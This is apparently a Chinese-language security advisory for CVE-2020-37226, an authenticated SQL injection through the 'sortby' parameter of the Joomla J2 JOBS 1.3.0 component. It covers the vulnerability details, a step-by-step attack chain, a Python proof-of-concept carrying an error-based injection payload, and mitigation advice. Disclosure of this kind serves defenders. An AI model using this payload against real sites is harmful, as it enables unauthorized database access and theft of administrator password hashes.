IPBUF安全漏洞报告
English
CVE-2020-37226 CVSS 7.1 高危

CVE-2020-37226 Joomla J2 JOBS SQL注入漏洞

披露日期: 2026-05-13

漏洞信息

漏洞编号
CVE-2020-37226
漏洞类型
SQL注入
CVSS评分
7.1 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Joomla J2 JOBS

相关标签

SQL注入JoomlaJ2 JOBSCVE-2020-37226Web安全 authenticated

漏洞概述

Joomla J2 JOBS 1.3.0 版本中存在一处已认证的 SQL 注入安全漏洞。该漏洞源于系统未能正确过滤用户提交的 'sortby' 参数,允许经过身份验证的攻击者通过构造恶意的 POST 请求向数据库后端注入 SQL 指令。攻击者利用此漏洞可绕过部分安全限制,窃取数据库中的敏感信息,对系统机密性造成严重影响。

技术细节

该漏洞位于 Joomla 的 J2 JOBS 插件代码中,具体涉及对排序参数 'sortby' 的处理逻辑。开发人员在编写 SQL 查询时,直接将用户通过 POST 请求提交的 'sortby' 值拼接到 SQL 语句中,未使用参数化查询或进行严格的输入校验。由于该接口位于管理员路径下,利用此漏洞需要攻击者拥有合法的登录凭据(低权限即可)。攻击者可构建包含布尔盲注或基于错误的注入 Payload,发送至 /administrator/index.php。成功利用后,攻击者可读取数据库内容,甚至可能获取管理员账户密码哈希,从而完全控制网站。

攻击链分析

STEP 1
信息收集
识别目标站点是否安装了 Joomla J2 JOBS 组件及其版本信息。
STEP 2
获取凭证
注册或通过其他手段获取一个低权限的 Joomla 账户(漏洞需要认证)。
STEP 3
发送攻击请求
使用获取的凭证登录,获取 Session Cookie,向管理员后台接口发送包含恶意 SQL 代码的 POST 请求,利用 'sortby' 参数注入 Payload。
STEP 4
数据提取
分析服务器响应,利用布尔盲注或报错注入技术,逐步提取数据库结构及敏感数据。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL url = "http://target.com/administrator/index.php" # SQL Injection Payload in 'sortby' parameter payload_data = { "option": "com_jsjobs", "task": "resume.getresumes", "sortby": "1 AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT(0x7e,0x27,(SELECT database()),0x27,0x7e,FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)" } # Cookies for authenticated session (Required) cookies = { "example_cookie": "authenticated_session_value" } response = requests.post(url, data=payload_data, cookies=cookies) if response.status_code == 200: print("Request sent successfully. Check response for SQL error or data leakage.") else: print("Failed to send request")

影响范围

Joomla J2 JOBS 1.3.0

防御指南

临时缓解措施
在未升级补丁前,建议通过 Web 应用防火墙(WAF)添加针对该特定 URL 和参数的防护规则,拦截包含 SQL 关键字的请求。同时,严格限制管理员后台的访问 IP 列表,并加强对普通用户权限的管控,及时发现异常的数据库查询行为。

参考链接